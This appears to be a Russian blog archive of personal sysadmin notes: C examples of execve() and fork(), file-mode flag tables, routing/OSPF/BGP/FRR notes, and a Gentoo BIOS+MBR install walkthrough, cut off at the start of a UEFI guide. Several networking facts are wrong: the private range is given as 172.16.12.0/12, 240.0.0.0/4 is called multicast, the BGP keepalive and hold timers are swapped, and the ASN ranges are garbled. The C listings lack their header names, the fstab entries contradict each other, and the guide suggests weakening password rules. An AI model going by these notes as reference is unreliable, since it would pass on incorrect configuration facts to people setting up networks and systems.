Для этих целей используется системный вызов execve(), который объявлен в заголовочном файле unistd.h вот так:
vim unistd.h
------------
int execve (const char * path, char const * argv[], char * const envp[]);
------------

Все очень просто: системный вызов execve() заменяет текущий образ процесса программой из файла с именем path, набором аргументов argv и окружением envp. 
Здесь следует только учитывать, что path - это не просто имя программы, а путь к ней. 
Иными словами, чтобы запустить ls, нужно в первом аргументе указать "/bin/ls".

Массивы строк argv и envp обязательно должны заканчиваться элементом NULL. 
Кроме того, следует помнить, что первый элемент массива argv (argv[0]) - это имя программы или что-либо иное. 
Непосредственные аргументы программы отсчитываются от элемента с номером 1.

В случае успешного завершения execve() ничего не возвращает, поскольку новая программа получает полное и безвозвратное управление текущим процессом.
Если произошла ошибка, то по традиции возвращается -1.

Рассмотрим теперь пример программы, которая заменяет свой образ другой программой.

vim execve01.c
--------------
/* execve01.c */
#include 
#include 

int main (void)
{
        printf ("pid=%d\n", getpid ());
        execve ("/bin/cat", NULL, NULL);

        return 0;
}
--------------

Итак, данная программа выводит свой PID и передает безвозвратное управление программе cat без аргументов и без окружения. 


Проверяем:
$ gcc -o execve01 execve01.c
$ ./execve01
pid=30150

Программа вывела идентификатор процесса и замерла в смиренном ожидании. Откроем теперь другое терминальное окно и проверим, что же творится с нашим процессом:


$ ps -e | grep 30150
30150 pts/3    00:00:00 cat

Итак, мы убедились, что теперь процесс 30150 выполняет программа cat. 
Теперь можно вернуться в исходное окно и нажатием Ctrl+D завершить работу cat.

И, наконец, следующий пример демонстрирует запуск программы в отдельном процессе.

vim forkexec01.c
----------------
/* forkexec01.c */
#include 
#include 

extern char ** environ;

int main (void)
{
        char * echo_args[] = { "echo", "child", NULL };

        if (!fork ()) {
                execve ("/bin/echo", echo_args, environ);
                fprintf (stderr, "an error occured\n");
                return 1;
        }

        printf ("parent");
        return 0;
}
----------------

Проверяем:
$ gcc -o forkexec01 forkexec01.c
$ ./forkexec01
parent
child

Обратите внимание, что поскольку execve() не может возвращать ничего кроме -1, то для обработки возможной ошибки вовсе не обязательно создавать ветвление. 
Иными словами, если вызов execve() возвратил что-то, то это однозначно ошибка.


Таблица 1. Флаги общего режима

Флаг Восьмиричное представление RWX-представление
S_IRWXU 00700 rwx --- ---
S_IRUSR 00400 r-- --- ---
S_IREAD 00400 r-- --- ---
S_IWUSR 00200 -w- --- ---
S_IWRITE 00200 -w- --- ---
S_IXUSR 00100 --x --- ---
S_IEXEC 00100 --x --- ---
S_IRWXG

00070

--- rwx ---
S_IRGRP 00040 --- r-- ---
S_IWGRP 00020 --- -w- ---
S_IXGRP 00010 --- --x ---
S_IRWXO 00007 --- --- rwx
S_IROTH 00004 --- --- r--
S_IWOTH 00002 --- --- -w-
S_IXOTH 00001 --- --- --x

Таблица 2. Флаги расширенного режима

Флаг Восьмиричное представление Описание
S_IFMT 0170000 Двоичная маска определения типа файла (побитовое ИЛИ всех
следующих ниже флагов)
S_IFDIR 0040000 Каталог
S_IFCHR 0020000 Символьное устройство
S_IFBLK 0060000 Блочное устройство
S_IFREG 0100000 Обычный файл
S_IFIFO 0010000 Канал FIFO
S_IFLNK 0120000 Символическая ссылка

Таблица 3. Дополнительные флаги

Флаг Восьмиричное представление Описание
S_ISUID 0004000 Бит SETUID
S_ISGID 0002000 Бит SETGID
S_ISVTX 0001000 Липкий (sticky) бит

Таблица 4. Флаги режима открытия файла

Флаг Описание
O_RDONLY Только чтение (0)
O_WRONLY Только запись (1)
O_RDWR Чтение и запись (2)
O_CREAT Создать файл, если не существует
O_TRUNC Стереть файл, если существует
O_APPEND Дописывать в конец
O_EXCL Выдать ошибку, если файл существует при использовании O_CREAT
O_DSYNC Принудительная синхронизация записи
O_RSYNC Принудительная синхронизация перед чтением
O_SYNC Принудительная полная синхронизация записи
O_NONBLOCK Открыть файл в неблокируемом режиме, если это возможно
O_NDELAY То же, что и O_NONBLOCK
O_NOCTTY Если открываемый файл - терминальное устройство, не делать его
управляющим терминалом процесса
O_NOFOLLOW Выдать ошибку, если открываемый файл является символической
ссылкой
O_DIRECTORY Выдать ошибку, если открываемый файл не является каталогом
O_DIRECT Попытаться минимизировать кэширование чтения/записи файла
O_ASYNC Генерировать сигнал, когда появляется возможность чтения или
записи в файл
O_LARGEFILE Разрешить большие файлы (размер которых не может быть
представлен в 31 бите (для систем с поддержкой LFS)
Рубрики
network \ сеть Конспект

Конспект: routing / frr / bgp / ecmp

Cсылки:

# RFC
https://tools.ietf.org/html/rfc1918 
https://tools.ietf.org/html/rfc6890
https://www.rfc-editor.org/rfc/rfc1930
https://www.rfc-editor.org/rfc/rfc4271
# IPCALC
http://jodies.de/ipcalc
# FIB
https://en.wikipedia.org/wiki/Forwarding_information_base
# SYSCTL / rp-filter
https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
# Looking glass
http://lg.mtu.ru/cgi-bin/lgform_img.cgi
# OSPF
https://community.cisco.com/t5/networking-documents/ospf-design-best-practices/ta-p/3112070
https://spw.ru/educate/articles/primenenie-ospf-v-routeros-1/
# BGP
https://linkmeup.ru/blog/65.html
https://www.ssi.gouv.fr/uploads/2016/03/bgp-configuration-best-practices.pdf
http://xgu.ru/wiki/BGP_%D0%B2_Cisco
http://www.justogroup.ru/dokumentacija/cisco/marshrutiziruemye_seti/prakticheskie_primeri_bgp.pdf
# AS 2.0
https://www.cidr-report.org/as2.0/
# BIRD
https://bird.network.cz/
# frr
https://frrouting.org/
# печалька в яндекс в 2211 году
https://habr.com/ru/company/yandex/blog/126709/

Сети

Серые сети
- 10.0.0.0/8
- 172.16.12.0/12
- 192.168.0.0/16

Специальные сети
- 0.0.0.0/8 - этот хост как источник
- 127.0.0.0/8 - этот хост как приемник, loopback
- 100.64.0.0/10 - Shared Net - NAT на уровне провайдера
- 169.254.0.0/16 - Link Local - сеть для самоконфигурирующихся устройств
- 240.0.0.0/4 - Multicast

Рекомендуемая схема нумерации для сетей
10.1.32.0/23
   |  |
   |  |
   |  vlan #132 
   geo-id #1


Агрегат:



Агрегат - минимально возможная сеть, включающая в себя все специфики
10.0.0.0/13 - Агрегат
10.1.0.0/16 - Специфик
10.2.0.0/16 - Специфик
10.6.20.0/22 - Специфик

forwarding information base (FIB)
также известная как "таблица пересылки"(forwarding table) или "таблица MAC -адресов"(MAC table)
В роутинге специфики всегда выигрывают при поиске в FIB

Агрегаты всегда должны "заворачиваться в null", что бы избегать проблем с кольцами, броадкастами и мусорным трафиком в маршрутизации
ip route add blackhole 10/8
Кроме того, null routing - самый дешевый способ фильтрации трафика


Динамическая маршрутизация:

Автоматическое получение маршрутов и возможность их перестроения при изменении топологии
Interior Gateway Protocols
- Open Shortest Path First
- Enhanced Interior Gateway Routing Protocol

Работают на уровне L3, каждый роутер знает всю топологию своей области, отслеживается состояние соединений

Border Gateway Protocol (BGP)
Работает на уровне L4 (возможно управление маршрутизаторами с отдельно стоящего BGP Route Server), 
состояние пиринга определяетя по состоянию TCP-сессии. 

Может использоваться внутри AS/Area


Quagga (ex-Zebra) (deprecated / устарел)

Набор демонов, реализующий управление сетью в linux
RIPD, OSPFD, BGPD, ISISD
Zebra (Forwarding Information Base, FIB)
vtysh - консоль управления
Взаимодействует с таблицей "Kernel Routing Table"
Возможно так же управление интерфейсами и разнообразными сетевыми настройками
Полностью копирует управление и функциональность Cisco IOS

BIRD

- разрабатывается с 2005 года
- умеет: OSPF,IS-IS,RIP,BGP,BFD
- умеет IPV6
- свой язык описания конфигов и фильтров
- используется: DE-CIX, LINX, PAIX, MSK-IX

Архитектура:
- master - Основанная таблица, в которую попадают маршруты от других  протоколов
- device - протокол, который следит за статусами интерфейсов в системе
- static - протокол, отвечающий за статическую маршрутизацию
- direct - протокол, создающий в таблице маршруты на основе настроек интерфейсов системы
- kernel - протокол для взаимодействия с ядром и загрузкой маршрутов в таблицу маршрутизации linux

OSPF Terms / Neighbourhood / interface

OSPF Terms:
Area - интерфейсы, роутеры которых получают всю информацию о топологии сети. 
Для небольшой сети возможно использование единственной Area 0. Есть разновидности - backbone, standard, stub, not-so-stubby area и еще несколько
Hello - пакеты, устанавливающие и поддерживающие соеденение роутеров
LSA (Link State Announce) - единица обмена информацией между роутерами
OSPF (https://habr.com/post/201794/)
BR - Border Router
ABR (ospf term) - Area Border Router
ASBR (bgp term) - Autonomous System Border Router
DR - Designated Router - ABR, являющийся основной точкой входа в Area
BDR - Backup Designated Router - ABR, являющийся резервной точкой входа
DROther - BR, не участвующий в построении графа маршрутов

OSPF Neighbourhood
Cостояния соседства маршрутизаторов
Down - соседа не видно
Attempt, Init - попытка установить соединение
2-Way - роутеры видят друг-друга
Exstart, Exchange, Loading aka Adjacent - роутеры обмениваются информацией
Full aka Full Adjacent - роутеры обменялись информацией


OSPF interface
Priority: DR/BDR election
Если в одну сеть есть два входа через два роутера, то один из них становится DR, остальные - BDR. 
На принятие решения влияет priority и router-id. 
Если по каким-то причинам роутеры не могут выбрать DR, то состояние их соседства повиснет в 2way/DRother.
Специальное значение priority 0 - отказ от выборов.

Cost - стоимость прохождения через этот интерфейс. 
По-умолчанию рассчитывался исходя из пропускной способности интерфейса. 
Теперь неактуально, потому что при bw ≥ 100 Mbps default cost = 1. 
Если есть два маршрута в одну сеть с одинаковой суммарной стоимостью - устанавливаются оба, 
в противном случае устанавливается только один с минимальной стоимостью. 
Параметр интерфейса роутера, а не направления в целом, поэтому для понижения приоритета всего линка должен быть установлен с обоих сторон.

Linux rp_filter
По умолчанию, параметр установлен в 1, что обозначает строгую проверку маршрута источника. 
Это правильно до тех пор, пока мы не сталкиваемся с динамическим роутингом. 
При использовании IGP можно сразу выставить в 2 (нестрогая проверка) или в 0 (отсутствие проверки)

Автономная система:

Автономная система (autonomous system, AS) - это система IP-сетей и маршрутизаторов, управляемым одним или несколькими операторами, имеющими единую политику маршрутизации с Интернетом.

Особенности:
- процесс создания и регистрации AS описан в RFC 1930.
- номера AS выдается организациями RIR (Regional Internet Registry) или LIR (Local Internet Registry)
- до 2007 года были 16-бинтыми, теперь 32-битные номера

Диапазоны номеров автономных систем:
- 0-65535 (изначально определенный диапазон для ASN 16 бит)
- 65536-4294967295 (новый диапазон для ASN 32 бит(КАС 4893))
(май 2007)

Использование номеров автономных систем:
- 0 и 64535 - зарезервированы
- 1-64495 публичные номера (все что не выдали до 2012 - резерв у IANA)
- 65552-4294967295 публичные номера (выдается с 2010)
- 64512-65534 - приватные номера
- 23456 - представляет 32-битный диапазон на устройствах, которые работают с 16-битным диапазоном(для совместимости со старым оборудованием)

Provider Aggregatable (PA) -  диапазон адресов, приндлежащий провайдеру
Особенности:
- легко получить
- принадлежат провайдеру
- в случае смены провайдера - остается у провайдера

Provider Independent (PI) - независимый от провайдера диапазон адресов
Особенности:
- приобретается у  LIR
- привязывается к номеру AS
- сохраняются при смене провайдера и добавляет гибкости маршрутизации

AS и префикс с реальным IP-адресами выдает RIPE
Не операторы могут получить префикс, можно договорится с другими операторами и поднять пиринг по BGP. В базе данных RIPE можно будет добавить информацию о том что сеть закреплена за вашей организацией.

Если нету номера AS для поднятия пирига можно использовать приватный диапазон AS 64512-65534.

BGP

RIPE -> RIR -> LIR

Особенности:
- дистанционно-векторный протокол
- децентрализованный
- имеет гибкую систему фильрации и управления приоритетами маршрутов
- имеет защиту от образования петель
- объединяет автономные системы (AS)(eBGP)
- может использоваться внутри одной AS(iBGP)
- работает на уроне L4
- состояние пиринга определяет по состоянию TCP-сессии
- для построения таблицы маршрутизации используется номера AS
- может быть требователен к ресурсам маршрутизатора
- текущий размер полной таблицы маршрутизации сети Интернет более 800к маршрутов

Основные условия для установления соседства по BGP
- связанность по TCP
- доступность порта TCP 179
- программные или аппаратные маршрутизаторы с поддержкой протокола

Таймеры:
- необходимы для установки соседства
- по RFC4271, keepalived time = 90s, hold time = 30s
- Cisco, keepalived time = 180, hold time = 60s
- FRR, keepalived time = 180s, hold time = 60s
- не стоит делать значения таймеров очень мленькими , это может вызвать проблемы
- лучше использовать протокол BFD

Основные состояния установления соседства по BGP:
IDLE - изначальное состояние BGP-соседства. Ничего не происходит.
CONNECT - слушает порт 179, но ничего не отправляет
ACTIVE - отправил SYN и ждет ответа от соседа
OPENSENT** - BGP начал обмен сообщениями OPEN. Сообщение отправлено
OPENCONFIRM** - сообщение OPEN получено
ESTABLISHED - все настройки согласованы и сессии BGP работают

Основные сообщения в BGP:
Open - согласование номера ASб HoldTimer и Router ID.


Протокол обмена маршрутной информацией уровня провайдера.
Объединяет т.н. Автономные Системы (Autonomous System, AS)

AS похож на OSPF Area. Подразумевается, что все сети внутри AS так или иначе объединены с помощью IGP
В некоторых случаях BGP может использован внутри AS. 
Т.к. BGP в основном означает связь с провайдером, то для внутренних связей используют термин iBGP
Автономную систему хорошо иметь для независимости от ДЦ и в случае нескольких ДЦ. 
Минимальный размер сети, анонсируемой через BGP не регламентируется протоколом, но в реальной жизни - /24. 
Поэтому минимальный размер AS тоже /24. 
Раньше адреса можно было получить непосредственно у RIPE, теперь ищите LIR, у которых еще остались блоки адресов.

RIPE хранит всю информацию о связях AS. 
Её со своей стороны надо всегда держать в актуальном состоянии, потому что есть много транзитных операторов, которые используют эту базу для конфигурации устройств в автоматическом режиме
Типичный сценарий использования: вы анонсируете провайдеру свои сети, провайдер вам в ответ анонсирует 0.0.0.0/0.
При пиринге всегда нужно использовать фильтрацию префиксов, что бы ни вы, ни провайдер не отослали лишнего.

whois - интерфейс командной строки ко всем базам координационных центров. Россия относится к RIPE.

Looking glass - Инструмент ограниченного доступа к роутерам провайдера через web-интерфейс.

vtysh

show running-config - посмотреть текущий файл конфигурации
show ip bgp - посмотреть текущую таблицу маршрутов
show bgp summary -сводная информация для всех экземпляров маршрутизации
show bgp neighbor - отображение информации
!!! обратите особое внимание состояние BGP. 
!!! Любое состояние, отличное от Established, указывает на то, 
!!! что обмен информацией между соседями не налажен

OSPF mesh??

Для создания mesh-сети с OSPF нужно настроить несколько узлов, каждый из которых будет обмениваться маршрутной информацией с другими.
У каждого узла должен быть свой уникальный router-id, но все они должны быть частью одной и той же OSPF-области (например, area 0).



sudo apt update
sudo apt install frr frr-pythontools

vim /etc/frr/daemons
--------------------
ospfd=yes
--------------------


vim  /etc/frr/frr.conf
----------------------
!
! Конфигурация маршрутизатора
!
frr defaults traditional
hostname my-router
log syslog
service integrated-vtysh-config
!
! Включаем OSPF
!
router ospf
 ospf router-id 1.1.1.1        ! Уникальный ID маршрутизатора
 network 10.99.99.0/24 area 0  ! OSPF для сети 10.99.99.0/24 в области 0
 passive-interface default     ! Отключаем отправку Hello-пакетов на всех интерфейсах
 no passive-interface eth0     ! Включаем OSPF на интерфейсе eth0
 no passive-interface eth1     ! Включаем OSPF на интерфейсе eth1
!
! Интерфейсы
!
interface eth0
 ip ospf area 0
!
interface eth1
 ip ospf area 0
!
line vty
----------------------




vtysh
show ip ospf neighbor
show ip route ospf
Рубрики
gentoo Конспект

Конспект: gentoo BIOS + MBR

0.Вводное:

Страница загрузки:
https://www.gentoo.org/downloads/

live cd:
https://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220612T170541Z/install-amd64-minimal-20220612T170541Z.iso
https://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220605T170549Z/livegui-amd64-20220605T170549Z.iso


Официальная wiki gentoo на русском:
https://wiki.gentoo.org/wiki/Handbook:AMD64/ru

Не официальное:
https://pingvinus.ru/note/gentoo-easy-install
https://an9wer.github.io/2020/06/06_Gentoo%20installation.html

Настройка сети ручная:
ip a  a 192.168.1.100 dev eth0
ip route add default via 192.168.1.1
Настройка сети dhcp:
dhcp eth0
dhcpcd -HD eth0

Настройка DNS:
ping ya.ru
vim /etc/resolv.conf

Посмотреть текущий ip:
ip a

Смена пароля тукущего пользователя:
!!! Если требования к паролю кажутся очень завышенными, то редактируем файл /etc/security/passwdqc.conf
!!! min=1,1,1,1,1
!!! useradd -m -G wheel,audio,video <имя пользователя>
!!! passwd <имя пользователя>
passwd

Запуск sshd на livecd:
rc-service sshd start

!!! Теперь мы можем подключится по ssh и продолжить установку.

1. Рекомендованная разметка диска BIOS + MBR

Раздел	    Описание                                      Код для fdisk
/dev/vda1	Системный (и загрузочный) раздел MBR          -> код 83
/dev/vda2	Раздел подкачки                               -> код 82
/dev/vda3	Корневой раздел                               -> код 83
 
Разметка диска:
fdisk /dev/vda
p - показать разметку
o - сделать mbr таблицу
d - удалить
n - создать раздел (enter enter +128M)
n - создать раздел (enter enter +512M)
n - создать раздел (enter enter enter)
t - установить тип раздела (1 83)
t - установить тип раздела (2 82)
t - (не требуется 20 по умолчанию для нового раздела ) установить тип раздела (3 83)
 
Накатываем файловые системы и включаем swap
mkfs.ext2 /dev/vda1
mkfs.ext4  /dev/vda3
# # mkfs.ext4 -T small /dev/sda3 - рекомендуется если раздел меньше 9Гб
mkswap /dev/vda2
swapon /dev/vda2

2. Подготовка к установке stage3

Создаем директорию:
mkdir /mnt/gentoo
Монтируем:
mount /dev/vda3 /mnt/gentoo

Переходим в каталог  /mnt/gentoo:
cd /mnt/gentoo

Скачиваем stage3:
!!! Выбор правильного базового архива для системы впоследствии может сэкономить значительное количество времени, затраченное на установку.
!!! Рекомендуется выбрать multilab \ systemd
wget https://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220612T170541Z/stage3-amd64-desktop-systemd-20220612T170541Z.tar.xz

Распаковываем только что скаченный архив stage3:
!!! Убедитесь, что указаны те же самые параметры (xpf и --xattrs-include='*.*').
!!! x указывает на извлечение (extract)
!!! p для сохранения (preserve) прав доступа и f для обозначения, что мы хотим извлечь файл (file)
!!! а не стандартный ввод. --xattrs-include='*.*' позволит также сохранить расширенные атрибуты во всех пространствах имен хранящиеся в архиве
!!! --numeric-owner используется для того, чтобы убедиться что идентификаторы пользователей и групп распаковываемых файлов останутся такими же
!!! как и задумывались командой Gentoo по подготовке релизов (даже если предприимчивые пользователи не используют официальный установочный носитель Gentoo)

tar xpvf stage3-*.tar.xz --xattrs-include='*.*' --numeric-owner


Настройка параметров компиляции:
!!! какой редактор выбрать решать вам, но в процессе установки у меня пропадал vim
!!! везде в руководстве используют nano -w
nano -w /mnt/gentoo/etc/portage/make.conf
vim  /mnt/gentoo/etc/portage/make.conf

Значения по умолчанию для (/mnt/gentoo/etc/portage/make.conf):
# Флаги компилятора, используемые для всех языков
COMMON_FLAGS="-march=native -O2 -pipe"
# Используйте те же настройки для обеих переменных
CFLAGS="${COMMON_FLAGS}"
CXXFLAGS="${COMMON_FLAGS}"
# Использование большого количества процессов может значительно повлиять на потребление памяти.
# Хорошая рекомендация — имейте не менее 2 Гб свободной оперативной памяти на каждый #поток (так, например, для -j6 потребуется не менее 12 ГиБ).
# Чтобы избежать нехватки памяти, уменьшите количество процессов
MAKEOPTS="-j2"

Необязательно: Выбор зеркала
mirrorselect -i -o >> /mnt/gentoo/etc/portage/make.conf
mkdir --parents /mnt/gentoo/etc/portage/repos.conf
cp /mnt/gentoo/usr/share/portage/config/repos.conf /mnt/gentoo/etc/portage/repos.conf/gentoo.conf

3. Копирование DNS:


cp --dereference /etc/resolv.conf /mnt/gentoo/etc/

4. Монтирование разделов

Монтирование необходимых файловых систем для продолжения установки:
!!! /proc/ — псевдофайловая система (она выглядит как обычные файлы, но на самом деле генерируется на лету), через которую ядро Linux предоставляет информацию для окружения
!!! /sys/ — псевдофайловая система, как и /proc/, которую она однажды заменит, также она более структурирована, чем /proc/
!!! /dev/ — это обычная файловая система, частично управляемая менеджером устройств Linux (обычно udev), которая содержит все файлы устройств
!!! /run/ — временная файловая система, используется для генерации файлов на лету used, таких как PID файлы или файлы блокировки
!!! Параметр --make-rslave необходим для дальнейшей поддержки systemd в ходе установки.
mount --types proc /proc /mnt/gentoo/proc
mount --rbind /sys /mnt/gentoo/sys
mount --make-rslave /mnt/gentoo/sys
mount --rbind /dev /mnt/gentoo/dev
mount --make-rslave /mnt/gentoo/dev
mount --bind /run /mnt/gentoo/run
mount --make-slave /mnt/gentoo/run

Переход в новое окружение:
!!! Выполнить последовательно по одной
chroot /mnt/gentoo /bin/bash
source /etc/profile
export PS1="(chroot) ${PS1}"

5. Установка и обновление portage

Настройка Portage:
!!! emerge-webrsync - для загрузки снимка используется только протоколы HTTP/HTTPS,а также когда необходимо снизить нагрузку канал сети
emerge-webrsync

Необязательно: Обновление репозитория ebuild-файлов Gentoo
emerge --sync
emerge --sync --quiet

Чтение новостей:
eselect news list
eselect news read
man news.eselect

Выбор подходящего профиля:
eselect profile list
eselect profile set 2

Обновление набора @world:
emerge --ask --verbose --update --deep --newuse @world

Необязательно: Настройка переменной USE:
!!! Полное описание всех доступных USE-флагов можно найти в файле /var/db/repos/gentoo/profiles/use.desc.
less /var/db/repos/gentoo/profiles/use.desc
Простой способ проверить какие настройки используются для USE:
emerge --info | grep ^USE - собственно не будем ничего мудрить вывод этой команды нам пригодится для сборки нашей системы


Необязательно: Добавим флаги USE:
!!! Если USE-флаг определён в /etc/portage/make.conf, он будет добавлен (или удалён, если перед USE-флагом написан знак -) в список по умолчанию.
!!! USE флаги могут быть удалены добавлением знака - перед флагом. Например, чтобы выключить поддержку для графических окружений X, нужно задать -X
nano -w /etc/portage/make.conf
------------------------------
USE="X kde bash-completion curl apache2 djvu doc gui gzip handbook man mmap lzma lz4 lzo mysql networkmanager pdf perl php plasma python rdp ssl systemd"
------------------------------


Настройка переменной ACCEPT_LICENSE
vim /etc/portage/make.conf
--------------------------
ACCEPT_LICENSE="*"
--------------------------

Установка vim:
emerge --ask app-editors/vim

6. Язык / время / locale

 ntpd -q -g


Временная зона:
echo "Europe/Moscow" > /etc/timezone
emerge --config sys-libs/timezone-data
ln -sf ../usr/share/zoneinfo/Europe/Moscow /etc/localtime

Настройка локалей:
nano -w /etc/locale.gen
-----------------------
en_US ISO-8859-1
en_US.UTF-8 UTF-8
ru_RU.UTF-8 UTF-8
-----------------------
Генерируем локали:
locale-gen

Выбор локали:
!!! Это всё ещё можно сделать вручную с помощью файла /etc/env.d/02locale (для Systemd с помощью файла /etc/locale.conf)
eselect locale list
eselect locale set 8

Заново перезагружаем окружение:
env-update && source /etc/profile && export PS1="(chroot) ${PS1}"

7.0 kernel, ручная сборка ядра:

Настройка ядра Linux:
emerge --ask sys-kernel/linux-firmware
emerge --ask sys-kernel/gentoo-sources

!!! Гайд https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Kernel/ru
!!! virtio https://wiki.gentoo.org/wiki/QEMU/Linux_guest
cd /usr/src/linux
#make defconfig
#make kvm_guest.config
make menuconfig
make && make modules_install
make install
!!! Необязательно: Сборка initramfs
!!! emerge --ask sys-kernel/dracut
!!! dracut --kver=4.9.16-gentoo

7.1 Kernel, автоматическая сборка ядра:

!!! Не рекомендую этот способ сборки ядра
!!! Обычно, символьная ссылка /usr/src/linux указывает на исходный код текущего работающего ядра.
!!! Однако, эта символьная ссылка не создаётся по умолчанию. Создать её поможет kernel модуль для eselect.
eselect kernel list
eselect kernel set 1
!!! Для сборки ядра
nano -w /etc/fstab
------------------
/dev/vda1	/boot	vfat	defaults	0 2
------------------
!!! ставим пакет genkernel и собираем ядро
emerge --ask sys-kernel/genkernel
!!! genkernel --menuconfig all - если требуется что то добавить, например virtio драйверы
!!! genkernel --no-clean --menuconfig all - очистка не будет производится
genkernel all
Устанавливаем файлы прошивки:
emerge --ask sys-kernel/linux-firmware
!!! Проверяем:
ls /boot/vmlinu* /boot/initramfs*
!!! Если для корневого раздела не используется файловая система ext4, возможно, придётся вручную настроить ядро используя genkernel --menuconfig all и добавив поддержку нужной ФС (т.е. не как модуля).
!!! Пользователям LVM2 следует также добавить --lvm в качестве аргумента.

7.2 Kernel virtio support

!!! Если вы используете genkernel, не создавайте драйверы VirtIO в виде модулей, скомпилируйте их в ядро.
!!! https://wiki.gentoo.org/wiki/QEMU/Linux_guest
Processor type and features  --->
    [*] Linux guest support --->
        [*] Enable Paravirtualization code
        [*] KVM Guest support (including kvmclock)
Device Drivers  --->
    [*] Virtio drivers  --->
        <*> PCI driver for virtio devices
    [*] Block devices  --->
        <*> Virtio block driver
    SCSI device support  --->
        [*] SCSI low-level drivers  --->
            [*] virtio-scsi support
    [*] Network device support  --->
        [*] Network core driver support
            <*> Virtio network driver
    Graphics support  --->
        <*> Virtio GPU driver
    Character devices ---> 
       <*>   Hardware Random Number Generator Core support --->
           <*>   VirtIO Random Number Generator support

7.3 Kernel Virtio drivers \ virtual host:

!!! https://wiki.gentoo.org/wiki/QEMU/Linux_guest

emerge --ask sys-kernel/linux-firmware
emerge --ask sys-kernel/gentoo-sources
cd /usr/src/linux
make defconfig
make kvm_guest.config
make && make modules_install
make install

!!! grub MBR
echo 'GRUB_PLATFORMS="pc"' >> /etc/portage/make.conf
echo 'sys-boot/grub -fonts -nls -themes' > /etc/portage/package.use/grub
emerge --ask sys-boot/grub:2

vim /etc/default/grub
---------------------
GRUB_CMDLINE_LINUX="console=tty0 console=ttyS0"
GRUB_TERMINAL=console
---------------------

vim /etc/inittab
----------------
# SERIAL CONSOLES
s0:12345:respawn:/sbin/agetty -L 115200 ttyS0 vt100
----------------

grub-install /dev/vda
grub-mkconfig -o /boot/grub/grub.cfg

7.3 Готовые образы ядра

!!! Сборка ядра достаточно увлекательное занятие
!!! Если совсем все плохо, рекомендуется установить готовое ядро
emerge --ask sys-kernel/installkernel-systemd-boot
emerge --ask sys-kernel/gentoo-kernel-bin
emerge --ask @module-rebuild

8. Настройка системы:


монтирование дисков в fstab
!!! blkid - получаем UUID дисков, правильно будет монтировать диски по UUID
Вносим наши точки монтирования:
vim /etc/fstab
------------------
/dev/vda1   /boot        ext2    defaults,notime      0 2
/dev/vda2   none         swap    sw                   0 0
/dev/vda3   /            ext4    noatime              0 1
------------------
Проверяем:
mount -a


Информация об узле и домене:
nano -w /etc/conf.d/hostname
----------------------------
hostname="tux"
----------------------------

hostnamectl hostname tux

Сеть dhcp:
emerge --ask net-misc/dhcpcd
systemctl enable --now dhcpcd

Сеть статика:
emerge --ask --noreplace net-misc/netifrc
vim /etc/conf.d/net
-------------------
#config_eth0="dhcp"
config_eth0="192.168.0.2 netmask 255.255.255.0 brd 192.168.0.255"
routes_eth0="default via 192.168.0.1"
-------------------



Файл hosts:
vim /etc/hosts
--------------
# Это обязательные настройки для текущей системы
127.0.0.1     tux.homenetwork tux localhost

# Дополнительные настройки для других систем в сети
192.168.0.5   jenny.homenetwork jenny
192.168.0.6   benny.homenetwork benny
--------------




Опционально: поддержка PCMCIA-устройств:
emerge --ask sys-apps/pcmciautils



Пароль суперпользователя:
Изменить пароль суперпользователя (с именем root) можно с помощью команды passwd.
passwd


Инициализация и конфигурация загрузки:
Рекомендуется запустить systemd-firstboot --prompt --setup-machine-id, чтобы убедиться, что система корректно настроена, но нужные шаги можно также запускаться отдельно.
systemd-firstboot --prompt --setup-machine-id


Системный журнал:
emerge --ask app-admin/sysklogd
Необязательно: планировщик задач Cron:
emerge --ask sys-process/cronie
Необязательно: Индексирование файлов:
emerge --ask sys-apps/mlocate
Утилиты для файловых систем:
emerge --ask sys-fs/e2fsprogs
emerge --ask sys-fs/dosfstools
Необязательно: Установка утилит для беспроводной сети
emerge --ask net-wireless/iw net-wireless/wpa_supplicant
Необязательно: Установка клиента PPPoE
emerge --ask net-dialup/ppp


9. Пример Установки загрузчика BIOS and MBR:


!!! https://wiki.gentoo.org/wiki/Handbook:AMD64/Installation/Bootloader/ru
!!! https://wiki.gentoo.org/wiki/GRUB2_Quick_Start/ru#.D0.A0.D1.83.D1.87.D0.BD.D0.B0.D1.8F_.D0.BD.D0.B0.D1.81.D1.82.D1.80.D0.BE.D0.B9.D0.BA.D0.B0
!!! По умолчанию используется GRUB2.
!!! Обратите внимание что установка загрузчика MBR и UEFI отличается.
!!! Для UEFI убедитесь что раздел /boot примонтирован (ls /boot - есть файлы)

emerge --ask --verbose sys-boot/grub:2
grub-install /dev/sda
grub-mkconfig -o /boot/grub/grub.cfg

10. Завершение установки:


exit
cd
umount -l /mnt/gentoo/dev{/shm,/pts,}
umount -R /mnt/gentoo
reboot


11. Приложения:


!!! https://wiki.gentoo.org/wiki/Handbook:AMD64/Working/USE/ru
!!! https://wiki.gentoo.org/wiki/Handbook:AMD64/Working/Portage/ru#.D0.9A.D0.BE.D0.B3.D0.B4.D0.B0_Portage_.D0.BD.D0.B0_.D1.87.D1.82.D0.BE-.D1.82.D0.BE_.D1.80.D1.83.D0.B3.D0.B0.D0.B5.D1.82.D1.81.D1.8F
Работа с пакетами:
emerge <пакет> - установка пакета
emerge --unmerge <пакет> - удаление пакета
emerge -avuDN @world - обновление
emerge --sync - синхронизация с репозиторием
layman -a <оверлей> - добавление оверлея
layman -d <оверлей> - удаление оверлея
layman -L - список оверлеев
Оверлеи - сторонние репозитории, что-то похожее на AUR.

emerge layman
Для их установки layman.

И самое важное - что делать если portage жалуется на что-то.
Для начала, не паникуйте и внимательно прочтите вывод программы.
Постарайтесь просто понять, что не так, при необходимости воспользуйтесь переводчиком.


Очистка устаревших пакетов:
emerge --depclean
Рубрики
gentoo Конспект

Конспект: gentoo UEFI + GPT

0.Вводное:

Страница загрузки:
https://www.gentoo.org/downloads/

live cd:
https://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220612T170541Z/install-amd64-minimal-20220612T170541Z.iso
https://bouncer.gentoo.org/fetch/root/all/releases/amd64/autobuilds/20220605T170549Z/livegui-amd64-20220605T170549Z.iso


Официальная wiki gentoo на русском:
https://wiki.gentoo.org/wiki/Handbook:AMD64/ru

Не официальное:
https://pingvinus.ru/note/gentoo-easy-install
https://an9wer.github.io/2020/06/06_Gentoo%20installation.html

Настройка сети ручная:
ip a  a 192.168.1.100 dev eth0
